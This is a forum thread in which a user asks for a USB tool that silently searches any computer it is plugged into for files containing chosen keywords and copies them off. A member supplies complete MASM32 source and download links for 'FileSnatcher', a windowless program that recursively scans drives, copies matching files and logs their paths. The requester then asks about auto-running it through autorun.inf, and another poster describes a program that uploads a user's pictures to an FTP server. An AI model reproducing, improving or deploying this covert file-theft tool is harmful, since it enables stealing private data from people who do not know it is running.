Jump to content

USB search on PC with "key word"


eric

Recommended Posts

Hi,

i'm looking for a tool wich i could choose a "key word" then put this on a usb drive and when it plug on a computer make a silent search for the "key word" anywhere it could be, in the filename, in a word document ... and off course copy the result on the usb drive.

Link to comment
Share on other sites

why?

because !

i don't need to dump a lot of stuff from a computer by using usb hacks tool but just to check and get a copy of some file who contains specific word that i could define before.

i'm completly out or not ?

Link to comment
Share on other sites

A program that i built (have to open it) will scan My documents and My pictures for Jpg Bmp Gif then upload them to ftp server it did its job like i wanted it to but i might modify it so the user (you) can tell it what file to look for and instead of only FTP give you a choice of upload or copy. I will work on this tomorrow (busy today) it will be Windows app and needs .net

Scorpion

Link to comment
Share on other sites

X3N, write a script? lol silly rabbit scripts are for kiddies!

Hi,

i'm looking for a tool wich i could choose a "key word" then put this on a usb drive and when it plug on a computer make a silent search for the "key word" anywhere it could be, in the filename, in a word document ... and off course copy the result on the usb drive.

OK, I think I know what you mean... you want a program that can take a search string or "key word" as you put it, and then scan every single file in all directories and sub directories within a certain drive and if the string is found in a particular file then copy it to your usb stick... I thought it was a cool idea so I went ahead and made it...

I call it FileSnatcher®

Fsnatcher.png

I was going to code it in C++, but I wanted it to be as fast as possible so I had to code it in MASM32... It will recursively search through directories looking for files that meet the criteria(ill explain in a bit) and if a file meets it, it will be opened, read into memory, and scanned for the search string, and only if found will it be saved into the "SnatchedFiles" folder newly created in the same dir as the executable... it has no window and runs silently in the background, once it has completed the search entirely(may take a while depending on how many files are on the drive, and your filter settings[input.ini]) it will save a 'Finished.txt' log file which shows all the files that were found containing the string, and the file sizes and the paths they were at...

Version 1.2 Updated Info Below

the search string(s) do not have to be only 1 word it can be any string containing spaces or any characters... You specify multiple strings by putting a semicolon + space to separate them ("; ") do not write the semicolon for the last string

example...

string one; string 2; threeee; string 4; last one dont put the semicolon

the file extensions work the same way

REMEMBER the space after the ";" is important! If the format isn't exactly right, something will mess up!

it works like this, you have to create an "input.ini" file... the program reads this file and uses the data in it to do the search...

so lets just think of an example...

lets say that I'm am looking for a copy of a file which contains the string "Test Answers" or "Test Results"

and I know the file is contained on the C:\ drive

and I know the file I'm looking for has the extension of ".doc" or ".txt" or ".pdf"

and I know the file size is less than 100KB

I would make my input.ini like this:

C:\
102400
.doc; .txt; .pdf
test answers; test results

this is the new order...

The first line contains the drive, OR the path... always append the \ at the end for it to work properly

ex. C:\sub\dir\ or C:\ (this currently doesn't allow mulitple like the extension and strings do)

the second line is the max file size (in bytes) to open and scan for the string.

the third line is the file extension(s) to search for...

you can use multiple extensions exactly the same way as multiple strings...

this must be either ".something" (example, ".txt", ".html", etc)

this narrows the search down quite a bit if you know the file extension of the file you want to "snatch", since now you aren't searching through files you don't need to... if you want to search EVERY file extension however, you can by simply changing the first extension listed into " .* "

the fourth line is the search strings line as explained above. just be sure to keep all the strings on this line for the format to be read correctly. the number of search strings + file extensions you can have depends on how long each string is... about 5000 characters worth of memory that could be used.. I think that should be enough!

downloads updated to version 1.2! ;)

binary download:

http://www.popeax.com/downloads/FileSnatcher.rar

source code of file snatcher + icon resource:

http://www.popeax.com/downloads/FileSnatcherSource.rar

Source Code: (compiles to 16 KB including icon)

; File Snatcher v1.2 -> Coded by Steve8x;)
; Now With CaSe InSeNSiTiVe SeArCh!
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««

      .486                     ; create 32 bit code
      .model flat, stdcall     ; 32 bit memory model
      option casemap :none     ; case sensitive
  
;     include files
;     ~~~~~~~~~~~~~
      include \masm32\include\windows.inc
      include \masm32\include\masm32.inc
      include \masm32\include\gdi32.inc
      include \masm32\include\user32.inc
      include \masm32\include\kernel32.inc
      include \masm32\include\Comctl32.inc
      include \masm32\include\comdlg32.inc
      include \masm32\include\shell32.inc
      include \masm32\include\oleaut32.inc
      include \masm32\include\dialogs.inc
      include \masm32\macros\macros.asm

;     libraries
;     ~~~~~~~~~
      includelib \masm32\lib\masm32.lib
      includelib \masm32\lib\gdi32.lib
      includelib \masm32\lib\user32.lib
      includelib \masm32\lib\kernel32.lib
      includelib \masm32\lib\Comctl32.lib
      includelib \masm32\lib\comdlg32.lib
      includelib \masm32\lib\shell32.lib
      includelib \masm32\lib\oleaut32.lib

      GetString  PROTO :DWORD, :DWORD
      WriteToLog PROTO :DWORD, :DWORD, :DWORD
      memcpy     PROTO :DWORD, :DWORD, :DWORD
      scanbuffer PROTO :DWORD, :DWORD, :DWORD
      QuickScan  PROTO :DWORD, :DWORD, :DWORD
      strcmp     PROTO :DWORD, :DWORD
      Search     PROTO :DWORD
      zeromem    PROTO :DWORD, :DWORD

    .data
      stoplog      dd 0
      savelogpath  dd 0
      logoffset    dd 0
      logbuffer    dd 0
      buffer       dd 0
      searchstring dd 0
      SSNum        dd 0
      path         dd 0
      ext          dd 0
      ENum         dd 0
      allext       dd 0
      maxfilesize  dd 0
      maxsize      dd 0
      saveto       dd 0
      saveto2      dd 0
      atoi         dd 0
      BytesWritten dd 0
      crtdll       db 'crtdll.dll',0
      savefolder   db '\SnatchedFiles\',0
      formatting   db '%s\%s',0

      WFD WIN32_FIND_DATA <sizeof WIN32_FIND_DATA>
      
    .data?
      info              dd ?
      hInstance         dd ?
      BytesRead         dd ?
      fBuffer           dd ?

    .code

; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««

start:
  
      mov hInstance, FUNC(GetModuleHandle, NULL)

      call main

      invoke ExitProcess, eax
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««

main proc

    LOCAL fHandle:HANDLE

    invoke CreateFile, SADD("input.ini"), GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0
    mov [info], eax

    .if eax == INVALID_HANDLE_VALUE; if input.ini doesn't exist then quit
     invoke MessageBox, 0, SADD("Create input.ini file first..."), 0, 0
     invoke ExitProcess, 0
    .endif

   ; crtdll.dll contains atoi - which converts a string into an integer
    invoke GetProcAddress, FUNC(LoadLibrary, addr crtdll), SADD("atoi")
    mov [atoi], eax

    invoke VirtualAlloc, 0, 5000, MEM_COMMIT, PAGE_READWRITE
    mov [searchstring], eax
    invoke VirtualAlloc, 0, 5000, MEM_COMMIT, PAGE_READWRITE
    mov [ext], eax

    invoke zeromem, [searchstring], 5000

    mov [path], alloc$(260)
    mov [ext], alloc$(64)
    mov [maxfilesize], alloc$(32)
    mov [saveto], alloc$(260)
    mov [saveto2], alloc$(260)

    mov [logbuffer], alloc$(102400)
    mov [savelogpath], alloc$(260)
    mov [buffer], alloc$(3000)
    invoke ReadFile, [info], [buffer], 3000, addr BytesRead, 0
    invoke CloseHandle, [info]

   ;Get path + extension + max size first!
    invoke GetString, [buffer], [path]
    invoke GetString, eax, [maxfilesize]

    push eax
    .while word ptr [eax] != 0A0Dh; count number of extensions
     .if word ptr [eax] == 203Bh
      inc [ENum]
     .endif
     inc eax
    .endw
    pop eax

    mov ecx, [ext]
    invoke GetString, eax, ecx

    mov ecx, [ENum]
    .while ecx > 0
     invoke GetString, eax, edx
     dec ecx
    .endw

    push eax
    .while byte ptr [eax] != 0; count number of search strings
     .if word ptr [eax] == 203Bh
      inc [SSNum]
     .endif
     
     inc eax
    .endw
    pop eax
    
    mov ecx, [searchstring]
    invoke GetString, eax, ecx

    mov ecx, [SSNum]
    .while ecx > 0
     invoke GetString, eax, edx
     dec ecx
    .endw

    push [maxfilesize]
    call dword ptr [atoi]
    mov [maxsize], eax

    invoke GetCurrentDirectory, 260, [saveto]
    invoke lstrlen, [saveto]
    invoke memcpy, [savelogpath], [saveto], eax
    strcat [saveto], addr savefolder
    
    invoke lstrlen, [saveto]
    invoke memcpy, [saveto2], [saveto], eax

    invoke CreateDirectory, [saveto], 0
    invoke SetCurrentDirectory, [path]

    invoke strcmp, [ext], SADD(".*")
    mov [allext], eax
    
    invoke Search, [path]; recursive function!

    invoke wsprintf, [buffer], SADD("%s\%s"), [savelogpath], SADD("Finished.txt")

    invoke CreateFile, [buffer], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
    mov [fHandle], eax
    .if eax
     invoke lstrlen, [logbuffer]
     invoke WriteFile, [fHandle], [logbuffer], eax, addr BytesWritten, 0
    .endif
    invoke CloseHandle, [fHandle]
    
    free$(path)
    free$(ext)
    free$(maxfilesize)
    free$(saveto)
    free$(saveto2)
    free$(savelogpath)
    free$(logbuffer)
    free$(buffer)

    invoke VirtualFree, [searchstring], 0, MEM_RELEASE
    invoke VirtualFree, [ext], 0, MEM_RELEASE

    invoke FreeLibrary, addr crtdll
    invoke ExitProcess, 0

main endp

WriteToLog proc string:DWORD, lbuffer:DWORD, writeoffset:DWORD;writes a string to the log buffer

    mov eax, [string]
    mov ecx, [lbuffer]
    add ecx, [writeoffset]

    WriteString:
    mov bl, [eax]
    mov [ecx], bl

    inc eax
    inc ecx
    
    cmp byte ptr [eax], 0
    jnz WriteString

    sub ecx, [lbuffer]
    ret
    
WriteToLog endp

SearchFile proc file:DWORD, forcesave:DWORD; scans an entire file for a string within it

    LOCAL fHandle:HANDLE
    LOCAL fSize:DWORD
   ;LOCAL tempString:DWORD

    invoke CreateFile, [file], GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0
    mov [fHandle], eax

    .if eax == 0
     ret
    .endif

    invoke GetFileSize, [fHandle], 0
    mov [fSize], eax

    .if [fSize] == -1
     ret
    .endif

    invoke VirtualAlloc, 0, [fSize], MEM_COMMIT, PAGE_READWRITE
    mov [fBuffer], eax

   ;stralloc 200
   ;mov [tempString], eax

    .if [fSize] > 0
     invoke ReadFile, [fHandle], [fBuffer], [fSize], addr BytesRead, 0
     invoke CloseHandle, [fHandle]
    .endif

   ;debugging purposes leave commented unless debugging
   ;invoke wsprintf, [tempString], SADD("[%s] size = %i; bytesRead = %i"), addr WFD.cFileName, [fSize], [BytesRead]
   ;invoke OutputDebugString, [tempString]

    .if [forcesave] == 1; used to force save the file if the file name contains the search string
     .if [fSize] > 0 && [fBuffer] > 0
      jmp Save
     .endif
    .endif

    mov eax, 539h
    .if [fSize] > 0 && [fBuffer] > 0
     invoke scanbuffer, [fBuffer], [searchstring], [fSize];search entire file for search string(s)
     .if eax == 1
      jmp Save
     .else
      jmp skip
     .endif
    .endif
    
    Save:
    invoke wsprintf, [saveto], SADD("%s%s"), [saveto2], addr WFD.cFileName; the path to dump the file to

    invoke CreateFile, [saveto], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
    mov [fHandle], eax
    .if eax
     invoke WriteFile, [fHandle], [fBuffer], [BytesRead], addr BytesWritten, 0
    .endif
    invoke CloseHandle, [fHandle]

    .if [logoffset] > 102000; we don't want to crash the program because of access violation
     mov eax, [buffer]
     mov dword ptr [eax], 0A0Dh
     invoke WriteToLog, [buffer], [logbuffer], [logoffset]
     invoke WriteToLog, SADD("Log Ended Early, Larger than 100KB"), [logbuffer], ecx
     mov [stoplog], 1
    .endif

    .if [stoplog] == 0 
     invoke wsprintf, [buffer], SADD("%s [%i] bytes @ "), addr WFD.cFileName, [BytesRead]
     invoke lstrlen, [logbuffer]
     invoke QuickScan, [logbuffer], [buffer], eax
     .if eax == 0
      invoke WriteToLog, [buffer], [logbuffer], [logoffset]
      
      mov eax, [buffer]
      mov dword ptr [eax], 0A0Dh; new line
      
      invoke WriteToLog, [file], [logbuffer], ecx
      invoke WriteToLog, [buffer], [logbuffer], ecx
      mov [logoffset], ecx
     .endif
    .endif

    skip:
    invoke VirtualFree, [fBuffer], 0, MEM_RELEASE
    ret

SearchFile endp

GetStrAddress proc startaddy:DWORD

    mov edx, [startaddy]

    @@:
    inc edx
    cmp byte ptr [edx], 00
    jnz @b

    inc edx

    ret

GetStrAddress endp

Search proc fpath:DWORD; search directories and all sub directories for files to search for the string inside!

    LOCAL hFind:HANDLE
    LOCAL pathbackup:DWORD
    LOCAL namelength:DWORD

    mov [pathbackup], alloc$(260)

    invoke memcpy, [pathbackup], [fpath], 260

    invoke FindFirstFile, SADD("*.*"), addr WFD
    mov [hFind], eax

    .while eax
     invoke memcpy, [fpath], [pathbackup], 260
     invoke wsprintf, [fpath], addr formatting, [fpath], addr WFD.cFileName
     invoke SetCurrentDirectory, [fpath]
     .if eax
      invoke strcmp, addr WFD.cFileName, SADD(".")
      cmp eax, 1
      je skip
      
      invoke strcmp, addr WFD.cFileName, SADD("..")
      cmp eax, 1
      je skip

      invoke Search, [fpath]; let the recursion begin in a sub directory!
     .endif

     invoke lstrlen, addr WFD.cFileName
     mov [namelength], eax

      mov ebx, [maxsize]
     .if [WFD.nFileSizeLow] < ebx
      .if [allext] == 0
      ;invoke scanbuffer, addr WFD.cFileName, [ext], eax
       
       mov edx, [ext]
       invoke QuickScan, addr WFD.cFileName, edx, [namelength]
       test eax, eax
       jnz continue

       mov ecx, [ENum]
       .while ecx > 0
        invoke GetStrAddress, edx
        invoke QuickScan, addr WFD.cFileName, edx, [namelength]
        test eax, eax
        jnz continue
        dec ecx
       .endw
       jmp skip
      .endif

      continue:
      invoke lstrlen, addr WFD.cFileName
      invoke scanbuffer, addr WFD.cFileName, [searchstring], eax
      .if eax == 1
       invoke SearchFile, [fpath], 1
      .endif

      invoke SearchFile, [fpath], 0
     .endif
    
     skip:
     invoke FindNextFile, [hFind], addr WFD
    .endw

    invoke FindClose, [hFind]
    free$(pathbackup)
    ret
    
Search endp

strcmp proc string1:DWORD, string2:DWORD; compares two strings

    mov ebx, [string1]
    mov edx, [string2]

    CompareStrings:
    mov cl, [edx]
    cmp byte ptr [ebx], cl
    jne exitcmp

    .if byte ptr [edx] == 0 && byte ptr [ebx] == 0; strings are a match
     mov eax, 1
     ret
    .endif

    inc ebx
    inc edx
    jmp CompareStrings

    exitcmp:
    xor eax, eax
    ret
    
strcmp endp

Alphabetical proc Char:DWORD; if the byte pointed to is a letter A-Z, a-z, then return the opposite

    mov eax, [Char]; pointer to byte
    mov cl, [eax]

    .if byte ptr [eax] >= 41h && byte ptr [eax] <= 5Ah; its an uppercase letter
     xor cl, 20h; convert to lowercase
     ret
     
    .elseif byte ptr [eax] >= 61h && byte ptr [eax] <= 7Ah; its a lowercase letter
     xor cl, 20h; convert to uppercase
     ret

    .else;the byte is not a letter
    
     xor ecx, ecx
     ret
    .endif
        
Alphabetical endp

QuickScan proc buff:DWORD, sstr:DWORD, bsize:DWORD

    push edx
    push ecx
    invoke lstrlen, [sstr]
    mov edx, eax
    
    mov edi, [buff]
    mov esi, [sstr]
    mov ecx, [bsize]

    quickloop:
    push esi
    sub esi, edx
    .if esi == [sstr]
     jmp found
    .endif
    pop esi

    mov al, [edi]
    .if al == [esi]
     inc edi
     inc esi
     dec ecx

     jmp quickloop
    .endif

    .if ecx > 0
     inc edi
     dec ecx
     mov esi, [sstr]
     
     jmp quickloop
    .endif

    notfound:
    pop ecx
    pop edx
    xor eax, eax
    ret

    found:
    pop ecx
    pop edx
    mov eax, 1
    ret
    
QuickScan endp
    
    
scanbuffer proc membuffer:DWORD, searchfor:DWORD, bsize:DWORD; case insensitive search for strings in buffer

    LOCAL stringOffset:DWORD
    LOCAL bufferOffset:DWORD
    LOCAL stringsize:DWORD
    LOCAL buff:DWORD

    stralloc 250
    mov [buff], eax

    mov [stringOffset], 0
    mov [bufferOffset], 0

    invoke lstrlen, [searchfor]
    mov [stringsize], eax

    push [SSNum]

ScanLoop:
    mov eax, [membuffer]
    add eax, [bufferOffset]
    mov ebx, [searchfor]
    add ebx, [stringOffset]

   ;pushad
   ;invoke wsprintf, [buff], SADD("buffer = [%s] searchstring = [%s] SSNum = %i "), eax, ebx, [SSNum]
   ;invoke OutputDebugString, [buff]
   ;popad

    mov edx, [stringsize]
    .if [stringOffset] == edx
     pop [SSNum]
     mov eax, 1
     ret
    .endif

    mov edx, [bsize]
    .if [bufferOffset] == edx
     .if [SSNum] > 0
      dec [SSNum]
      add ebx, [stringsize]
      add ebx, 1
      
      mov [searchfor], ebx
      invoke lstrlen, [searchfor]
      mov [stringsize], eax
      mov [stringOffset], 0
      mov [bufferOffset], 0

      jmp ScanLoop
     .endif

     pop [SSNum]
     xor eax, eax
     ret
    .endif

    mov dl, [ebx]
    .if [eax] == dl; character is a match
     inc [bufferOffset]
     inc [stringOffset]

     ;pushad
     ;invoke wsprintf, [buff], SADD("buffer = [%s] searchstring = [%s] SSNum = %i "), eax, ebx, [SSNum]
     ;invoke OutputDebugString, [buff]
     ;popad

     jmp ScanLoop
    .endif

    push eax
    invoke Alphabetical, ebx; if its a letter convert lowercase to uppercase / vice versa
    pop eax

   ;ecx > 0 means the byte is a letter!
    .if ecx > 0
     .if [eax] == cl
      inc [bufferOffset]
      inc [stringOffset]

     ;pushad
     ;invoke wsprintf, [buff], SADD("buffer = [%s] searchstring = [%s] SSNum = %i "), eax, ebx, [SSNum]
     ;invoke OutputDebugString, [buff]
     ;popad
      
      jmp ScanLoop
     .endif
    .endif
     

    mov [stringOffset], 0
    inc [bufferOffset]
    jmp ScanLoop

scanbuffer endp

GetString proc buff:DWORD, string:DWORD;grabs strings from a buffer

    push ecx
    mov edx, [string]; address of string
    mov eax, [buff]; address of buffer

    CopyString:
    .if word ptr [eax] == 203Bh
     mov word ptr [edx], 00
     add edx, 1
     jmp exitfunc
    .endif

    .if word ptr [eax] == 0A0Dh
     mov byte ptr [edx], 00
     add edx, 1
     jmp exitfunc
    .endif

    cmp dword ptr [eax], 0; end of data in buffer reached
    je exitfunc

    mov cl, [eax]
    mov [edx], cl

    inc eax
    inc edx
    jmp CopyString
    
    exitfunc:
    pop ecx
    add eax, 2
    ret

GetString endp

memcpy proc dest:DWORD, src:DWORD, bSize:DWORD

    pushad
    mov esi, [src]
    mov edi, [dest]
    mov ecx, [bSize]
    rep movsb
    popad

    ret
    
memcpy endp

zeromem proc addy:DWORD, memsize:DWORD

    push eax
    push ecx
    mov eax, [addy]
    mov ecx, [memsize]

    @@:
    mov byte ptr [eax], 00
    inc eax
    dec ecx
    cmp ecx, 00
    jnz @b

    pop ecx
    pop eax
    ret

zeromem endp


end start

test it out let me know how it works for you, it worked pretty good on my computer! ;)

its faster than making the same thing in c++ or another language...

Link to comment
Share on other sites

  • 2 weeks later...

Perfect !

that's exactly what is was looking for.

works without any trouble on my computer.

can we put more information in the ini file ?

like:

"test answers";"exam result"

c:\;d:\

.doc;.xls;.ppt

and any advice to auto-execute it when i plug my usb key on a computer ?

if i put something in an autorun.inf that's good ?

Link to comment
Share on other sites

I really have no say on this matter but I can't say I approve of the use of the Hak.5 logo as an icon for such a tool. It kind of suggests that Hak5 and/or its community endorse the tool.

You are absolutely right moonlit! It was silly of me to use that icon for this app. I have changed the icon to something more appropriate.

@eric::

check my post, I updated it to version 1.2! case no longer matters! for example if a file contained

"Coca Cola"

and you had one of your search strings as "coca cola"

previously the file wouldn't be snatched, but now it does a case in-sensitive search so the file will be gotten regardless of the case.

Also this version supports many search strings and file extensions instead of only 1.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...